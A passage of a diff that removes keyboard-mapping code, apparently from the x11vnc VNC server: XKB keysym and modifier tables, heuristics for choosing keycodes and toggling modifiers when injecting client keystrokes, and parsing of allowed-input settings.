- for (lvl = 0; lvl < LVL; lvl++) {
- xkbkeysyms[kc][grp][lvl] = NoSymbol;
- xkbmodifiers[kc][grp][lvl] = -1;
- xkbstate[kc][grp][lvl] = -1;
- }
- }
- }
-
- /*
- * the array is 256*LVL*GRP, but we can make the searched region
- * smaller by computing the actual ranges.
- */
- lvl_max = 0;
- grp_max = 0;
- kc_max = 0;
- kc_min = 0x100;
-
- /* first keycode for a modifier type (multi_key too) */
- kc1_shift = -1;
- kc1_control = -1;
- kc1_caplock = -1;
- kc1_alt = -1;
- kc1_meta = -1;
- kc1_numlock = -1;
- kc1_super = -1;
- kc1_hyper = -1;
- kc1_mode_switch = -1;
- kc1_iso_level3_shift = -1;
- kc1_multi_key = -1;
-
- /*
- * loop over all possible (keycode, group, level) triples
- * and record what we find for it:
- */
- if (debug_keyboard) {
- rfbLog("initialize_xkb_modtweak: XKB keycode -> keysyms "
- "mapping info:\n");
- }
- for (kc = 0; kc < 0x100; kc++) {
- for (grp = 0; grp < GRP; grp++) {
- for (lvl = 0; lvl < LVL; lvl++) {
- unsigned int ms, mods;
- int state_save = -1, mods_save = -1;
- KeySym ks2;
-
- /* look up the Keysym, if any */
- ks = XkbKeycodeToKeysym(dpy, kc, grp, lvl);
- xkbkeysyms[kc][grp][lvl] = ks;
-
- /* if no Keysym, on to next */
- if (ks == NoSymbol) {
- continue;
- }
- /*
- * for various workarounds, note where these special
- * keys are bound to.
- */
- if (ks == XK_Multi_key) {
- multi_key[kc] = lvl+1;
- }
- if (ks == XK_Mode_switch) {
- mode_switch[kc] = lvl+1;
- }
- if (ks == XK_Shift_L || ks == XK_Shift_R) {
- shift_keys[kc] = lvl+1;
- }
-
- if (ks == XK_Shift_L || ks == XK_Shift_R) {
- if (kc1_shift == -1) {
- kc1_shift = kc;
- }
- }
- if (ks == XK_Control_L || ks == XK_Control_R) {
- if (kc1_control == -1) {
- kc1_control = kc;
- }
- }
- if (ks == XK_Caps_Lock || ks == XK_Caps_Lock) {
- if (kc1_caplock == -1) {
- kc1_caplock = kc;
- }
- }
- if (ks == XK_Alt_L || ks == XK_Alt_R) {
- if (kc1_alt == -1) {
- kc1_alt = kc;
- }
- }
- if (ks == XK_Meta_L || ks == XK_Meta_R) {
- if (kc1_meta == -1) {
- kc1_meta = kc;
- }
- }
- if (ks == XK_Num_Lock) {
- if (kc1_numlock == -1) {
- kc1_numlock = kc;
- }
- }
- if (ks == XK_Super_L || ks == XK_Super_R) {
- if (kc1_super == -1) {
- kc1_super = kc;
- }
- }
- if (ks == XK_Hyper_L || ks == XK_Hyper_R) {
- if (kc1_hyper == -1) {
- kc1_hyper = kc;
- }
- }
- if (ks == XK_Mode_switch) {
- if (kc1_mode_switch == -1) {
- kc1_mode_switch = kc;
- }
- }
- if (ks == XK_ISO_Level3_Shift) {
- if (kc1_iso_level3_shift == -1) {
- kc1_iso_level3_shift = kc;
- }
- }
- if (ks == XK_Multi_key) { /* not a modifier.. */
- if (kc1_multi_key == -1) {
- kc1_multi_key = kc;
- }
- }
-
- /*
- * record maximum extent for group/level indices
- * and keycode range:
- */
- if (grp > grp_max) {
- grp_max = grp;
- }
- if (lvl > lvl_max) {
- lvl_max = lvl;
- }
- if (kc > kc_max) {
- kc_max = kc;
- }
- if (kc < kc_min) {
- kc_min = kc;
- }
-
- /*
- * lookup on *keysym* (i.e. not kc, grp, lvl)
- * and get the modifier mask. this is 0 for
- * most keysyms, only non zero for modifiers.
- */
- ms = XkbKeysymToModifiers(dpy, ks);
- xkbmodifiers[kc][grp][lvl] = ms;
-
- /*
- * Amusing heuristic (may have bugs). There are
- * 8 modifier bits, so 256 possible modifier
- * states. We loop over all of them for this
- * keycode (simulating Key "events") and ask
- * XkbLookupKeySym to tell us the Keysym. Once it
- * matches the Keysym we have for this (keycode,
- * group, level), gotten via XkbKeycodeToKeysym()
- * above, we then (hopefully...) know that state
- * of modifiers needed to generate this keysym.
- *
- * Yes... keep your fingers crossed.
- *
- * Note that many of the 256 states give the
- * Keysym, we just need one, and we take the
- * first one found.
- */
- state = 0;
- while(state < 256) {
- if (XkbLookupKeySym(dpy, kc, state, &mods,
- &ks2)) {
-
- /* save these for workaround below */
- if (state_save == -1) {
- state_save = state;
- mods_save = mods;
- }
- if (ks2 == ks) {
- /*
- * zero the irrelevant bits
- * by anding with mods.
- */
- xkbstate[kc][grp][lvl]
- = state & mods;
- /*
- * also remember the irrelevant
- * bits since it is handy.
- */
- xkbignore[kc][grp][lvl] = mods;
-
- break;
- }
- }
- state++;
- }
- if (xkbstate[kc][grp][lvl] == (unsigned int) -1
- && grp == 1) {
- /*
- * Hack on Solaris 9 for Mode_switch
- * for Group2 characters. We force the
- * Mode_switch modifier bit on.
- * XXX Need to figure out better what is
- * happening here. Is compat on somehow??
- */
- unsigned int ms2;
- ms2 = XkbKeysymToModifiers(dpy, XK_Mode_switch);
-
- xkbstate[kc][grp][lvl]
- = (state_save & mods_save) | ms2;
-
- xkbignore[kc][grp][lvl] = mods_save | ms2;
- }
-
- if (debug_keyboard) {
- char *str;
- fprintf(stderr, " %03d G%d L%d mod=%s ",
- kc, grp+1, lvl+1, bitprint(ms, 8));
- fprintf(stderr, "state=%s ",
- bitprint(xkbstate[kc][grp][lvl], 8));
- fprintf(stderr, "ignore=%s ",
- bitprint(xkbignore[kc][grp][lvl], 8));
- str = XKeysymToString(ks);
- fprintf(stderr, " ks=0x%08lx \"%s\"\n",
- ks, str ? str : "null");
- }
- }
- }
- }
-
- /*
- * kc_vec will be used in some places to find modifiers, etc
- * we apply some permutations to it as workarounds.
- */
- for (kc = 0; kc < 0x100; kc++) {
- kc_vec[kc] = kc;
- }
-
- if (kc1_mode_switch != -1 && kc1_iso_level3_shift != -1) {
- if (kc1_mode_switch < kc1_iso_level3_shift) {
- /* we prefer XK_ISO_Level3_Shift: */
- kc_vec[kc1_mode_switch] = kc1_iso_level3_shift;
- kc_vec[kc1_iso_level3_shift] = kc1_mode_switch;
- }
- }
- /* any more? need to watch for undoing the above. */
-
- /*
- * process the user supplied -skip_keycodes string.
- * This is presumably a list if "ghost" keycodes, the X server
- * thinks they exist, but they do not. ghosts can lead to
- * ambiguities in the reverse map: Keysym -> KeyCode + Modstate,
- * so if we can ignore them so much the better. Presumably the
- * user can never generate them from the physical keyboard.
- * There may be other reasons to deaden some keys.
- */
- if (skip_keycodes != NULL) {
- char *p, *str = strdup(skip_keycodes);
- p = strtok(str, ", \t\n\r");
- while (p) {
- k = 1;
- if (sscanf(p, "%d", &k) != 1 || k < 0 || k >= 0x100) {
- rfbLogEnable(1);
- rfbLog("invalid skip_keycodes: %s %s\n",
- skip_keycodes, p);
- clean_up_exit(1);
- }
- skipkeycode[k] = 1;
- p = strtok(NULL, ", \t\n\r");
- }
- free(str);
- }
- if (debug_keyboard) {
- fprintf(stderr, "grp_max=%d lvl_max=%d\n", grp_max, lvl_max);
- }
-}
-
-static short **score_hint = NULL;
-/*
- * Called on user keyboard input. Try to solve the reverse mapping
- * problem: KeySym (from VNC client) => KeyCode(s) to press to generate
- * it. The one-to-many KeySym => KeyCode mapping makes it difficult, as
- * does working out what changes to the modifier keypresses are needed.
- */
-static void xkb_tweak_keyboard(rfbBool down, rfbKeySym keysym,
- rfbClientPtr client) {
-
- int kc, grp, lvl, i, kci;
- int kc_f[0x100], grp_f[0x100], lvl_f[0x100], state_f[0x100], found;
- int ignore_f[0x100];
- unsigned int state = 0;
-
-
- /* these are used for finding modifiers, etc */
- XkbStateRec kbstate;
- int got_kbstate = 0;
- int Kc_f, Grp_f = 0, Lvl_f = 0;
-# define KLAST 10
- static int Kc_last_down[KLAST];
- static KeySym Ks_last_down[KLAST];
- static int klast = 0, khints = 1, anydown = 1;
- static int cnt = 0;
-
- if (!client || !down || !keysym) {} /* unused vars warning: */
-
- RAWFB_RET_VOID
-
- X_LOCK;
-
- if (klast == 0) {
- int i, j;
- for (i=0; i<KLAST; i++) {
- Kc_last_down[i] = -1;
- Ks_last_down[i] = NoSymbol;
- }
- if (getenv("NOKEYHINTS")) {
- khints = 0;
- }
- if (getenv("NOANYDOWN")) {
- anydown = 0;
- }
- if (getenv("KEYSDOWN")) {
- klast = atoi(getenv("KEYSDOWN"));
- if (klast < 1) klast = 1;
- if (klast > KLAST) klast = KLAST;
- } else {
- klast = 3;
- }
- if (khints && score_hint == NULL) {
- score_hint = (short **) malloc(0x100 * sizeof(short *));
- for (i=0; i<0x100; i++) {
- score_hint[i] = (short *) malloc(0x100 * sizeof(short));
- }
-
- for (i=0; i<0x100; i++) {
- for (j=0; j<0x100; j++) {
- score_hint[i][j] = -1;
- }
- }
- }
- }
- cnt++;
- if (cnt % 100 && khints && score_hint != NULL) {
- int i, j;
- for (i=0; i<0x100; i++) {
- for (j=0; j<0x100; j++) {
- score_hint[i][j] = -1;
- }
- }
- }
-
- if (debug_keyboard) {
- char *str = XKeysymToString(keysym);
-
- if (debug_keyboard > 1) {
- rfbLog("----------start-xkb_tweak_keyboard (%s) "
- "--------\n", down ? "DOWN" : "UP");
- }
-
- rfbLog("xkb_tweak_keyboard: %s keysym=0x%x \"%s\"\n",
- down ? "down" : "up", (int) keysym, str ? str : "null");
- }
-
- /*
- * set everything to not-yet-found.
- * these "found" arrays (*_f) let us dynamically consider the
- * one-to-many Keysym -> Keycode issue. we set the size at 256,
- * but of course only very few will be found.
- */
- for (i = 0; i < 0x100; i++) {
- kc_f[i] = -1;
- grp_f[i] = -1;
- lvl_f[i] = -1;
- state_f[i] = -1;
- ignore_f[i] = -1;
- }
- found = 0;
-
- /*
- * loop over all (keycode, group, level) triples looking for
- * matching keysyms. Amazingly this isn't slow (but maybe if
- * you type really fast...). Hash lookup into a linked list of
- * (keycode,grp,lvl) triples would be the way to improve this
- * in the future if needed.
- */
- for (kc = kc_min; kc <= kc_max; kc++) {
- for (grp = 0; grp < grp_max+1; grp++) {
- for (lvl = 0; lvl < lvl_max+1; lvl++) {
- if (keysym != xkbkeysyms[kc][grp][lvl]) {
- continue;
- }
- /* got a keysym match */
- state = xkbstate[kc][grp][lvl];
-
- if (debug_keyboard > 1) {
- char *s1, *s2;
- s1 = XKeysymToString(XKeycodeToKeysym(dpy,
- kc, 0));
- if (! s1) s1 = "null";
- s2 = XKeysymToString(keysym);
- if (! s2) s2 = "null";
- fprintf(stderr, " got match kc=%03d=0x%02x G%d"
- " L%d ks=0x%x \"%s\" (basesym: \"%s\")\n",
- kc, kc, grp+1, lvl+1, keysym, s2, s1);
- fprintf(stderr, " need state: %s\n",
- bitprint(state, 8));
- fprintf(stderr, " ignorable : %s\n",
- bitprint(xkbignore[kc][grp][lvl], 8));
- }
-
- /* save it if state is OK and not told to skip */
- if (state == (unsigned int) -1) {
- continue;
- }
- if (skipkeycode[kc] && debug_keyboard) {
- fprintf(stderr, " xxx skipping keycode: %d "
- "G%d/L%d\n", kc, grp+1, lvl+1);
- }
- if (skipkeycode[kc]) {
- continue;
- }
- if (found > 0 && kc == kc_f[found-1]) {
- /* ignore repeats for same keycode */
- continue;
- }
- kc_f[found] = kc;
- grp_f[found] = grp;
- lvl_f[found] = lvl;
- state_f[found] = state;
- ignore_f[found] = xkbignore[kc][grp][lvl];
- found++;
- }
- }
- }
-
-#define PKBSTATE \
- fprintf(stderr, " --- current mod state:\n"); \
- fprintf(stderr, " mods : %s\n", bitprint(kbstate.mods, 8)); \
- fprintf(stderr, " base_mods : %s\n", bitprint(kbstate.base_mods, 8)); \
- fprintf(stderr, " latch_mods: %s\n", bitprint(kbstate.latched_mods, 8)); \
- fprintf(stderr, " lock_mods : %s\n", bitprint(kbstate.locked_mods, 8)); \
- fprintf(stderr, " compat : %s\n", bitprint(kbstate.compat_state, 8));
-
- /*
- * Now get the current state of the keyboard from the X server.
- * This seems to be the safest way to go as opposed to our
- * keeping track of the modifier state on our own. Again,
- * this is fortunately not too slow.
- */
-
- if (debug_keyboard > 1) {
- /* get state early for debug output */
- XkbGetState(dpy, XkbUseCoreKbd, &kbstate);
- got_kbstate = 1;
- PKBSTATE
- }
-
- if (!found && add_keysyms && keysym && ! IsModifierKey(keysym)) {
- int new_kc = add_keysym(keysym);
- if (new_kc != 0) {
- found = 1;
- kc_f[0] = new_kc;
- grp_f[0] = 0;
- lvl_f[0] = 0;
- state_f[0] = 0;
- }
- }
-
- if (!found && debug_keyboard) {
- char *str = XKeysymToString(keysym);
- fprintf(stderr, " *** NO key found for: 0x%x %s "
- "*keystroke ignored*\n", keysym, str ? str : "null");
- }
- if (!found) {
- X_UNLOCK;
- return;
- }
-
- /*
- * we try to optimize here if found > 1
- * e.g. minimize lvl or grp, or other things to give
- * "safest" scenario to simulate the keystrokes.
- */
-
- if (found > 1) {
- if (down) {
- int l, score[0x100];
- int best = 0, best_score = -1;
- /* need to break the tie... */
- if (! got_kbstate) {
- XkbGetState(dpy, XkbUseCoreKbd, &kbstate);
- got_kbstate = 1;
- }
- if (khints && keysym < 0x100) {
- int ks = (int) keysym, j;
- for (j=0; j< 0x100; j++) {
- score_hint[ks][j] = -1;
- }
- }
- for (l=0; l < found; l++) {
- int myscore = 0, b = 0x1, i;
- int curr, curr_state = kbstate.mods;
- int need, need_state = state_f[l];
- int ignore_state = ignore_f[l];
-
- /* see how many modifiers need to be changed */
- for (i=0; i<8; i++) {
- curr = b & curr_state;
- need = b & need_state;
- if (! (b & ignore_state)) {
- ;
- } else if (curr == need) {
- ;
- } else {
- myscore++;
- }
- b = b << 1;
- }
- myscore *= 100;
-
- /* throw in some minimization of lvl too: */
- myscore += 2*lvl_f[l] + grp_f[l];
-
- /*
- * XXX since we now internally track
- * keycode_state[], we could throw that into
- * the score as well. I.e. if it is already
- * down, it is pointless to think we can
- * press it down further! E.g.
- * myscore += 1000 * keycode_state[kc_f[l]];
- * Also could watch multiple modifier
- * problem, e.g. Shift+key -> Alt
- * keycode = 125 on my keyboard.
- */
-
- score[l] = myscore;
- if (debug_keyboard > 1) {
- fprintf(stderr, " *** score for "
- "keycode %03d: %4d\n",
- kc_f[l], myscore);
- }
- if (khints && keysym < 0x100 && kc_f[l] < 0x100) {
- score_hint[(int) keysym][kc_f[l]] = (short) score[l];
- }
- }
- for (l=0; l < found; l++) {
- int myscore = score[l];
- if (best_score == -1 || myscore < best_score) {
- best = l;
- best_score = myscore;
- }
- }
- Kc_f = kc_f[best];
- Grp_f = grp_f[best];
- Lvl_f = lvl_f[best];
- state = state_f[best];
-
- } else {
- /* up */
- int i, Kc_loc = -1;
- Kc_f = -1;
-
- /* first try the scores we remembered when the key went down: */
- if (khints && keysym < 0x100) {
- /* low keysyms, ascii, only */
- int ks = (int) keysym;
- int ok = 1, lbest = 0, l;
- short sbest = -1;
- for (l=0; l < found; l++) {
- if (kc_f[l] < 0x100) {
- int key = (int) kc_f[l];
- if (! keycode_state[key]) {
- continue;
- }
- if (score_hint[ks][key] < 0) {
- ok = 0;
- break;
- }
- if (sbest < 0 || score_hint[ks][key] < sbest) {
- sbest = score_hint[ks][key];
- lbest = l;
- }
- } else {
- ok = 0;
- break;
- }
- }
- if (ok && sbest != -1) {
- Kc_f = kc_f[lbest];
- }
- if (debug_keyboard && Kc_f != -1) {
- fprintf(stderr, " UP: found via score_hint, s/l=%d/%d\n",
- sbest, lbest);
- }
- }
-
- /* next look at our list of recently pressed down keys */
- if (Kc_f == -1) {
- for (i=klast-1; i>=0; i--) {
- /*
- * some people type really fast and leave
- * lots of keys down before releasing
- * them. this gives problem on weird
- * qwerty+dvorak keymappings where each
- * alpha character is on TWO keys.
- */
- if (keysym == Ks_last_down[i]) {
- int l;
- for (l=0; l < found; l++) {
- if (Kc_last_down[i] == kc_f[l]) {
- int key = (int) kc_f[l];
- if (keycode_state[key]) {
- Kc_f = Kc_last_down[i];
- Kc_loc = i;
- break;
- }
- }
- }
- }
- if (Kc_f != -1) {
- break;
- }
- }
- if (debug_keyboard && Kc_f != -1) {
- fprintf(stderr, " UP: found via klast, i=%d\n", Kc_loc);
- }
- }
-
- /* next just check for "best" one that is down */
- if (Kc_f == -1 && anydown) {
- int l;
- int best = -1, lbest = 0;
- /*
- * If it is already down, that is
- * a great hint. Use it.
- *
- * note: keycode_state is internal and
- * ignores someone pressing keys on the
- * physical display (but is updated
- * periodically to clean out stale info).
- */
- for (l=0; l < found; l++) {
- int key = (int) kc_f[l];
- int j, jmatch = -1;
-
- if (! keycode_state[key]) {
- continue;
- }
- /* break ties based on lowest XKeycodeToKeysym index */
- for (j=0; j<8; j++) {
- KeySym ks = XKeycodeToKeysym(dpy, kc_f[l], j);
- if (ks != NoSymbol && ks == keysym) {
- jmatch = j;
- break;
- }
- }
- if (jmatch == -1) {
- continue;
- }
- if (best == -1 || jmatch < best) {
- best = jmatch;
- lbest = l;
- }
- }
- if (best != -1) {
- Kc_f = kc_f[lbest];
- }
- if (debug_keyboard && Kc_f != -1) {
- fprintf(stderr, " UP: found via downlist, l=%d\n", lbest);
- }
- }
-
- /* next, use the first one found that is down */
- if (Kc_f == -1) {
- int l;
- for (l=0; l < found; l++) {
- int key = (int) kc_f[l];
- if (keycode_state[key]) {
- Kc_f = kc_f[l];
- break;
- }
- }
- if (debug_keyboard && Kc_f != -1) {
- fprintf(stderr, " UP: set to first one down, kc_f[%d]!!\n", l);
- }
- }
-
- /* last, use the first one found */
- if (Kc_f == -1) {
- /* hope for the best... XXX check mods */
- Kc_f = kc_f[0];
- if (debug_keyboard && Kc_f != -1) {
- fprintf(stderr, " UP: set to first one at all, kc_f[0]!!\n");
- }
- }
- }
- } else {
- Kc_f = kc_f[0];
- Grp_f = grp_f[0];
- Lvl_f = lvl_f[0];
- state = state_f[0];
- }
-
- if (debug_keyboard && found > 1) {
- int l;
- char *str;
- fprintf(stderr, " *** found more than one keycode: ");
- for (l = 0; l < found; l++) {
- fprintf(stderr, "%03d ", kc_f[l]);
- }
- for (l = 0; l < found; l++) {
- str = XKeysymToString(XKeycodeToKeysym(dpy,kc_f[l],0));
- fprintf(stderr, " \"%s\"", str ? str : "null");
- }
- fprintf(stderr, ", picked this one: %03d (last down: %03d)\n",
- Kc_f, Kc_last_down[0]);
- }
-
- if (sloppy_keys) {
- int new_kc;
- if (sloppy_key_check(Kc_f, down, keysym, &new_kc)) {
- Kc_f = new_kc;
- }
- }
-
- if (down) {
- /*
- * need to set up the mods for tweaking and other workarounds
- */
- int needmods[8], sentmods[8], Ilist[8], keystate[256];
- int involves_multi_key, shift_is_down;
- int i, j, b, curr, need;
- unsigned int ms;
- KeySym ks;
- Bool dn;
-
- /* remember these to aid the subsequent up case: */
- for (i=KLAST-1; i >= 1; i--) {
- Ks_last_down[i] = Ks_last_down[i-1];
- Kc_last_down[i] = Kc_last_down[i-1];
- }
- Ks_last_down[0] = keysym;
- Kc_last_down[0] = Kc_f;
-
- if (! got_kbstate) {
- /* get the current modifier state if we haven't yet */
- XkbGetState(dpy, XkbUseCoreKbd, &kbstate);
- got_kbstate = 1;
- }
-
- /*
- * needmods[] whether or not that modifier bit needs
- * something done to it.
- * < 0 means no,
- * 0 means needs to go up.
- * 1 means needs to go down.
- *
- * -1, -2, -3 are used for debugging info to indicate
- * why nothing needs to be done with the modifier, see below.
- *
- * sentmods[] is the corresponding keycode to use
- * to achieve the needmods[] requirement for the bit.
- */
-
- for (i=0; i<8; i++) {
- needmods[i] = -1;
- sentmods[i] = 0;
- }
-
- /*
- * Loop over the 8 modifier bits and check if the current
- * setting is what we need it to be or whether it should
- * be changed (by us sending some keycode event)
- *
- * If nothing needs to be done to it record why:
- * -1 the modifier bit is ignored.
- * -2 the modifier bit is ignored, but is correct anyway.
- * -3 the modifier bit is correct.
- */
-
- b = 0x1;
- for (i=0; i<8; i++) {
- curr = b & kbstate.mods;
- need = b & state;
-
- if (! (b & xkbignore[Kc_f][Grp_f][Lvl_f])) {
- /* irrelevant modifier bit */
- needmods[i] = -1;
- if (curr == need) needmods[i] = -2;
- } else if (curr == need) {
- /* already correct */
- needmods[i] = -3;
- } else if (! curr && need) {
- /* need it down */
- needmods[i] = 1;
- } else if (curr && ! need) {
- /* need it up */
- needmods[i] = 0;
- }
-
- b = b << 1;
- }
-
- /*
- * Again we dynamically probe the X server for information,
- * this time for the state of all the keycodes. Useful
- * info, and evidently is not too slow...
- */
- get_keystate(keystate);
-
- /*
- * We try to determine if Shift is down (since that can
- * screw up ISO_Level3_Shift manipulations).
- */
- shift_is_down = 0;
-
- for (kc = kc_min; kc <= kc_max; kc++) {
- if (skipkeycode[kc] && debug_keyboard) {
- fprintf(stderr, " xxx skipping keycode: "
- "%d\n", kc);
- }
- if (skipkeycode[kc]) {
- continue;
- }
- if (shift_keys[kc] && keystate[kc]) {
- shift_is_down = kc;
- break;
- }
- }
-
- /*
- * Now loop over the modifier bits and try to deduce the
- * keycode presses/release require to match the desired
- * state.
- */
- for (i=0; i<8; i++) {
- if (needmods[i] < 0 && debug_keyboard > 1) {
- int k = -needmods[i] - 1;
- char *words[] = {"ignorable",
- "bitset+ignorable", "bitset"};
- fprintf(stderr, " +++ needmods: mod=%d is "
- "OK (%s)\n", i, words[k]);
- }
- if (needmods[i] < 0) {
- continue;
- }
-
- b = 1 << i;
-
- if (debug_keyboard > 1) {
- fprintf(stderr, " +++ needmods: mod=%d %s "
- "need it to be: %d %s\n", i, bitprint(b, 8),
- needmods[i], needmods[i] ? "down" : "up");
- }
-
- /*
- * Again, an inefficient loop, this time just
- * looking for modifiers...
- *
- * note the use of kc_vec to prefer XK_ISO_Level3_Shift
- * over XK_Mode_switch.
- */
- for (kci = kc_min; kci <= kc_max; kci++) {
- for (grp = 0; grp < grp_max+1; grp++) {
- for (lvl = 0; lvl < lvl_max+1; lvl++) {
- int skip = 1, dbmsg = 0;
-
- kc = kc_vec[kci];
-
- ms = xkbmodifiers[kc][grp][lvl];
- if (! ms || ms != (unsigned int) b) {
- continue;
- }
-
- if (skipkeycode[kc] && debug_keyboard) {
- fprintf(stderr, " xxx skipping keycode:"
- " %d G%d/L%d\n", kc, grp+1, lvl+1);
- }
- if (skipkeycode[kc]) {
- continue;
- }
-
- ks = xkbkeysyms[kc][grp][lvl];
- if (! ks) {
- continue;
- }
-
- if (ks == XK_Shift_L) {
- skip = 0;
- } else if (ks == XK_Shift_R) {
- skip = 0;
- } else if (ks == XK_Mode_switch) {
- skip = 0;
- } else if (ks == XK_ISO_Level3_Shift) {
- skip = 0;
- }
-
- if (watch_capslock && kbstate.locked_mods & LockMask) {
- if (keysym >= 'A' && keysym <= 'Z') {
- if (ks == XK_Shift_L || ks == XK_Shift_R) {
- if (debug_keyboard > 1) {
- fprintf(stderr, " A-Z caplock skip Shift\n");
- }
- skip = 1;
- } else if (ks == XK_Caps_Lock) {
- if (debug_keyboard > 1) {
- fprintf(stderr, " A-Z caplock noskip CapsLock\n");
- }
- skip = 0;
- }
- }
- }
- /*
- * Alt, Meta, Control, Super,
- * Hyper, Num, Caps are skipped.
- *
- * XXX need more work on Locks,
- * and non-standard modifiers.
- * (e.g. XF86_Next_VMode using
- * Ctrl+Alt)
- */
- if (debug_keyboard > 1) {
- char *str = XKeysymToString(ks);
- int kt = keystate[kc];
- fprintf(stderr, " === for mod=%s "
- "found kc=%03d/G%d/L%d it is %d "
- "%s skip=%d (%s)\n", bitprint(b,8),
- kc, grp+1, lvl+1, kt, kt ?
- "down" : "up ", skip, str ?
- str : "null");
- }
-
- if (! skip && needmods[i] !=
- keystate[kc] && sentmods[i] == 0) {
- sentmods[i] = kc;
- dbmsg = 1;
- }
-
- if (debug_keyboard > 1 && dbmsg) {
- int nm = needmods[i];
- fprintf(stderr, " >>> we choose "
- "kc=%03d=0x%02x to change it to: "
- "%d %s\n", kc, kc, nm, nm ?
- "down" : "up");
- }
-
- }
- }
- }
- }
- for (i=0; i<8; i++) {
- /*
- * reverse order is useful for tweaking
- * ISO_Level3_Shift before Shift, but assumes they
- * are in that order (i.e. Shift is first bit).
- */
- int reverse = 1;
- if (reverse) {
- Ilist[i] = 7 - i;
- } else {
- Ilist[i] = i;
- }
- }
-
- /*
- * check to see if Multi_key is bound to one of the Mods
- * we have to tweak
- */
- involves_multi_key = 0;
- for (j=0; j<8; j++) {
- i = Ilist[j];
- if (sentmods[i] == 0) continue;
- dn = (Bool) needmods[i];
- if (!dn) continue;
- if (multi_key[sentmods[i]]) {
- involves_multi_key = i+1;
- }
- }
-
- if (involves_multi_key && shift_is_down && needmods[0] < 0) {
- /*
- * Workaround for Multi_key and shift.
- * Assumes Shift is bit 1 (needmods[0])
- */
- if (debug_keyboard) {
- fprintf(stderr, " ^^^ trying to avoid "
- "inadvertent Multi_key from Shift "
- "(doing %03d up now)\n", shift_is_down);
- }
- XTestFakeKeyEvent_wr(dpy, shift_is_down, False,
- CurrentTime);
- } else {
- involves_multi_key = 0;
- }
-
- for (j=0; j<8; j++) {
- /* do the Mod ups */
- i = Ilist[j];
- if (sentmods[i] == 0) continue;
- dn = (Bool) needmods[i];
- if (dn) continue;
- XTestFakeKeyEvent_wr(dpy, sentmods[i], dn, CurrentTime);
- }
- for (j=0; j<8; j++) {
- /* next, do the Mod downs */
- i = Ilist[j];
- if (sentmods[i] == 0) continue;
- dn = (Bool) needmods[i];
- if (!dn) continue;
- XTestFakeKeyEvent_wr(dpy, sentmods[i], dn, CurrentTime);
- }
-
- if (involves_multi_key) {
- /*
- * Reverse workaround for Multi_key and shift.
- */
- if (debug_keyboard) {
- fprintf(stderr, " vvv trying to avoid "
- "inadvertent Multi_key from Shift "
- "(doing %03d down now)\n", shift_is_down);
- }
- XTestFakeKeyEvent_wr(dpy, shift_is_down, True,
- CurrentTime);
- }
-
- /*
- * With the above modifier work done, send the actual keycode:
- */
- XTestFakeKeyEvent_wr(dpy, Kc_f, (Bool) down, CurrentTime);
-
- /*
- * Now undo the modifier work:
- */
- for (j=7; j>=0; j--) {
- /* reverse Mod downs we did */
- i = Ilist[j];
- if (sentmods[i] == 0) continue;
- dn = (Bool) needmods[i];
- if (!dn) continue;
- XTestFakeKeyEvent_wr(dpy, sentmods[i], !dn,
- CurrentTime);
- }
- for (j=7; j>=0; j--) {
- /* finally reverse the Mod ups we did */
- i = Ilist[j];
- if (sentmods[i] == 0) continue;
- dn = (Bool) needmods[i];
- if (dn) continue;
- XTestFakeKeyEvent_wr(dpy, sentmods[i], !dn,
- CurrentTime);
- }
-
- } else { /* for up case, hopefully just need to pop it up: */
-
- XTestFakeKeyEvent_wr(dpy, Kc_f, (Bool) down, CurrentTime);
- }
- X_UNLOCK;
-}
-#endif
-
-/*
- * For tweaking modifiers wrt the Alt-Graph key, etc.
- */
-#define LEFTSHIFT 1
-#define RIGHTSHIFT 2
-#define ALTGR 4
-static char mod_state = 0;
-
-static char modifiers[0x100];
-static KeyCode keycodes[0x100];
-static KeyCode left_shift_code, right_shift_code, altgr_code, iso_level3_code;
-
-/* workaround for X11R5, Latin 1 only */
-#ifndef XConvertCase
-#define XConvertCase(sym, lower, upper) \
-*(lower) = sym; \
-*(upper) = sym; \
-if (sym >> 8 == 0) { \
- if ((sym >= XK_A) && (sym <= XK_Z)) \
- *(lower) += (XK_a - XK_A); \
- else if ((sym >= XK_a) && (sym <= XK_z)) \
- *(upper) -= (XK_a - XK_A); \
- else if ((sym >= XK_Agrave) && (sym <= XK_Odiaeresis)) \
- *(lower) += (XK_agrave - XK_Agrave); \
- else if ((sym >= XK_agrave) && (sym <= XK_odiaeresis)) \
- *(upper) -= (XK_agrave - XK_Agrave); \
- else if ((sym >= XK_Ooblique) && (sym <= XK_Thorn)) \
- *(lower) += (XK_oslash - XK_Ooblique); \
- else if ((sym >= XK_oslash) && (sym <= XK_thorn)) \
- *(upper) -= (XK_oslash - XK_Ooblique); \
-}
-#endif
-
-char *short_kmbcf(char *str) {
- int i, saw_k = 0, saw_m = 0, saw_b = 0, saw_c = 0, saw_f = 0, n = 10;
- char *p, tmp[10];
-
- for (i=0; i<n; i++) {
- tmp[i] = '\0';
- }
-
- p = str;
- i = 0;
- while (*p) {
- if ((*p == 'K' || *p == 'k') && !saw_k) {
- tmp[i++] = 'K';
- saw_k = 1;
- } else if ((*p == 'M' || *p == 'm') && !saw_m) {
- tmp[i++] = 'M';
- saw_m = 1;
- } else if ((*p == 'B' || *p == 'b') && !saw_b) {
- tmp[i++] = 'B';
- saw_b = 1;
- } else if ((*p == 'C' || *p == 'c') && !saw_c) {
- tmp[i++] = 'C';
- saw_c = 1;
- } else if ((*p == 'F' || *p == 'f') && !saw_f) {
- tmp[i++] = 'F';
- saw_f = 1;
- }
- p++;
- }
- return(strdup(tmp));
-}
-
-void initialize_allowed_input(void) {
- char *str;
-
- if (allowed_input_normal) {
- free(allowed_input_normal);
- allowed_input_normal = NULL;
- }
- if (allowed_input_view_only) {
- free(allowed_input_view_only);
- allowed_input_view_only = NULL;
- }
-
- if (! allowed_input_str) {
- allowed_input_normal = strdup("KMBCF");
- allowed_input_view_only = strdup("");
- } else {
- char *p, *str = strdup(allowed_input_str);
- p = strchr(str, ',');
- if (p) {
- allowed_input_view_only = strdup(p+1);
- *p = '\0';
- allowed_input_normal = strdup(str);
- } else {
- allowed_input_normal = strdup(str);
- allowed_input_view_only = strdup("");
- }
- free(str);
- }
-
- /* shorten them */
- str = short_kmbcf(allowed_input_normal);
- free(allowed_input_normal);
- allowed_input_normal = str;
-
- str = short_kmbcf(allowed_input_view_only);
- free(allowed_input_view_only);
- allowed_input_view_only = str;
-
- if (screen) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
-
- if (! cd) {
- continue;
- }
-#if 0
-rfbLog("cd: %p\n", cd);
